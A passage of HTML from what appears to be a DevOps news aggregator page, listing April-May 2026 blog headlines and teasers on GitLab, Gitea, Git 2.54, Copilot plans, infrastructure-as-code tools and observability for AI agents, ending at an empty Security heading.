          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover what&#39;s in this latest patch release.</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-18-11-1-released/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitea-1261-is-released" class="group relative scroll-mt-24">
        <a href="#h3-gitea-1261-is-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gitea 1.26.1 is released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitea-1261-is-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are excited to announce the release of Gitea 1.26.1! We strongly recommend all users upgrade to this version, as it includes important fixes that address several significant issues since 1.26.0 and</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Gitea Blog</strong></p>
<p><a href="https://blog.gitea.com/release-of-1.26.1"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-llm-pricing-comparison-tutorial-best-practices" class="group relative scroll-mt-24">
        <a href="#h3-llm-pricing-comparison-tutorial-best-practices" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 LLM Pricing Comparison: Tutorial & Best Practices
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-llm-pricing-comparison-tutorial-best-practices"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Large Language Models (LLMs) power a wide range of AI applications today.</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/llm-pricing-comparison/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab + Amazon: Platform orchestration on a trusted AI foundation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your team runs GitLab and has a strong AWS practice, a new combination of Duo Agent Platform and Amazon Bedrock is just for you. The model is simple: GitLab acts as your orchestration layer to help</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-changes-to-github-copilot-individual-plans" class="group relative scroll-mt-24">
        <a href="#h3-changes-to-github-copilot-individual-plans" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Changes to GitHub Copilot Individual plans
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-changes-to-github-copilot-individual-plans"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;re making these changes to ensure a reliable and predictable experience for existing customers. The post Changes to GitHub Copilot Individual plans appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/changes-to-github-copilot-individual-plans/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-highlights-from-git-254" class="group relative scroll-mt-24">
        <a href="#h3-highlights-from-git-254" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Highlights from Git 2.54
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-highlights-from-git-254"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The open source Git project just released Git 2.54. Here is GitHub’s look at some of the most interesting features and changes introduced since last time. The post Highlights from Git 2.54 appeared fi</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/open-source/git/highlights-from-git-2-54/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-building-a-center-of-excellence-for-ansible" class="group relative scroll-mt-24">
        <a href="#h3-building-a-center-of-excellence-for-ansible" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building a Center of Excellence for Ansible
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-a-center-of-excellence-for-ansible"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As Ansible adoption grows, a challenge can arise: How do organizations track automation efforts across the entire enterprise? A common solution is to establish a Center of Excellence (CoE) for Ansible</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/building-center-excellence-ansible"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-policy-packs-can-now-access-pulumi-esc-environments" class="group relative scroll-mt-24">
        <a href="#h3-policy-packs-can-now-access-pulumi-esc-environments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Policy Packs Can Now Access Pulumi ESC Environments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-policy-packs-can-now-access-pulumi-esc-environments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Policy authors who need external credentials or environment-specific configuration have had to hardcode values or manage them outside of Pulumi. Policy packs can now reference Pulumi ESC environments,</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/policy-packs-can-now-access-pulumi-esc-environments/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-install-terraform-securely-for-scalable-automation" class="group relative scroll-mt-24">
        <a href="#h3-how-to-install-terraform-securely-for-scalable-automation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Install Terraform Securely for Scalable Automation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-install-terraform-securely-for-scalable-automation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to use Terraform securely and at scale. Discover ways to automate, manage, and speed up your infrastructure delivery. Get started with a secure setup today. | Blog</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/how-to-install-terraform-for-secure-and-scalable-infrastructure-automation"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agent-sprawl-is-here-your-iac-platform-is-the-answer" class="group relative scroll-mt-24">
        <a href="#h3-agent-sprawl-is-here-your-iac-platform-is-the-answer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agent Sprawl Is Here. Your IaC Platform Is the Answer.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agent-sprawl-is-here-your-iac-platform-is-the-answer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Somewhere in your company right now, a developer is building an AI agent. Maybe it’s a release agent that cuts tags when tests pass. Maybe it’s a cost agent that shuts down idle EC2 overnight. It’s ru</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/agent-sprawl-iac-platform-is-the-answer/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-digitalocean-dedicated-inference-a-technical-deep-dive" class="group relative scroll-mt-24">
        <a href="#h3-digitalocean-dedicated-inference-a-technical-deep-dive" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 DigitalOcean Dedicated Inference: A Technical Deep Dive
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-digitalocean-dedicated-inference-a-technical-deep-dive"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Getting a model to answer 10 inference requests concurrently is tricky but simple enough; getting it to handle 2,000 engineers hitting a coding assistant with long contexts, all day, without runaway c</p>
<p><strong>📅 Apr 25, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/dedicated-inference-technical-deep-dive"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-the-abyss-project-poseidons-quest-for-zero-downtime-reliability" class="group relative scroll-mt-24">
        <a href="#h3-beyond-the-abyss-project-poseidons-quest-for-zero-downtime-reliability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond the Abyss Project Poseidon’s Quest for Zero-Downtime Reliability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-the-abyss-project-poseidons-quest-for-zero-downtime-reliability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In large-scale cloud environments, unpredictable hypervisor crashes carry real operational cost. While traditional reactive monitoring that relies on static thresholds and post-hoc alerts were once th</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/project-poseidon-zero-downtime-reliability"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-deprecating-opentracing-compatibility-requirements" class="group relative scroll-mt-24">
        <a href="#h3-deprecating-opentracing-compatibility-requirements" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Deprecating OpenTracing compatibility requirements
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-deprecating-opentracing-compatibility-requirements"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On March 19, 2026, the OpenTelemetry Specification project merged PR #4938, deprecating OpenTracing compatibility requirements in the specification. This change updates the specification to match wher</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/deprecating-opentracing-compatibility/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-when-agents-orchestrate-agents-whos-watching" class="group relative scroll-mt-24">
        <a href="#h3-when-agents-orchestrate-agents-whos-watching" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 When agents orchestrate agents, who's watching?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-agents-orchestrate-agents-whos-watching"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Multi-agent AI systems fail silently. Learn what proper observability looks like when agents orchestrate agents, and how Sentry keeps you in control.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/scaling-observability-for-multi-agent-ai-systems/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-structuring-ai-evaluation-and-observability-with-mlflow-from-development-to-production" class="group relative scroll-mt-24">
        <a href="#h3-structuring-ai-evaluation-and-observability-with-mlflow-from-development-to-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Structuring AI Evaluation and Observability with MLflow: From Development to Production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-structuring-ai-evaluation-and-observability-with-mlflow-from-development-to-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Shipping your first AI agent or LLM application feels fulfilling until you have to make changes because it does not work as you intended. Most of us start the same way: we test a few prompts, the resu</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 MLflow Blog</strong></p>
<p><a href="https://mlflow.org/blog/structured-ai-eval/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-great-stream-fix-interleaving-writes-in-seastar-with-ai-powered-invariants-tracing" class="group relative scroll-mt-24">
        <a href="#h3-the-great-stream-fix-interleaving-writes-in-seastar-with-ai-powered-invariants-tracing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Great Stream Fix: Interleaving Writes in Seastar with AI-Powered Invariants Tracing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-great-stream-fix-interleaving-writes-in-seastar-with-ai-powered-invariants-tracing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How we used AI-assisted invariant-based testing to locate and resolve tricky hidden bugs with complex state transitions</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/21/interleaving-writes-in-seastar/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-pyroscope-20-faster-more-cost-effective-continuous-profiling-at-scale" class="group relative scroll-mt-24">
        <a href="#h3-introducing-pyroscope-20-faster-more-cost-effective-continuous-profiling-at-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Pyroscope 2.0: faster, more cost-effective continuous profiling at scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-pyroscope-20-faster-more-cost-effective-continuous-profiling-at-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Continuous profiling is becoming a standard part of the observability stack, and for good reason. It&#39;s the only signal that tells you why your code is slow or expensive, not just that it is. Metrics t</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/pyroscope-2-0-release/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-o11y-bench-an-open-benchmark-for-ai-agents-running-observability-workflows" class="group relative scroll-mt-24">
        <a href="#h3-introducing-o11y-bench-an-open-benchmark-for-ai-agents-running-observability-workflows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing o11y-bench: an open benchmark for AI agents running observability workflows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-o11y-bench-an-open-benchmark-for-ai-agents-running-observability-workflows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Evaluating agents is hard. Verifying observability tasks is harder. Yes, AI agents have gotten dramatically and quantifiably better at coding and tool use, but observability presents a different kind </p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/o11y-bench-open-benchmark-for-observability-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-grafana-assistant-everywhere-customize-and-connect-to-the-ai-agent-to-fit-your-specific-needs" class="group relative scroll-mt-24">
        <a href="#h3-grafana-assistant-everywhere-customize-and-connect-to-the-ai-agent-to-fit-your-specific-needs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Grafana Assistant everywhere: Customize and connect to the AI agent to fit your specific needs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-grafana-assistant-everywhere-customize-and-connect-to-the-ai-agent-to-fit-your-specific-needs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The ways you and your teams build and observe your systems are changing. It’s no longer just engineers looking at dashboards, or writing queries or config files. More often, it’s an agent interacting </p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/grafana-assistant-everywhere/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-no-more-monkey-patching-better-observability-with-tracing-channels" class="group relative scroll-mt-24">
        <a href="#h3-no-more-monkey-patching-better-observability-with-tracing-channels" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 No more monkey-patching: Better observability with tracing channels
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-no-more-monkey-patching-better-observability-with-tracing-channels"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Find out how Node.js Tracing Channels enable libraries to emit their own telemetry, replacing monkey-patching and fixing ESM observability.</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/observability-with-tracing-channels/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
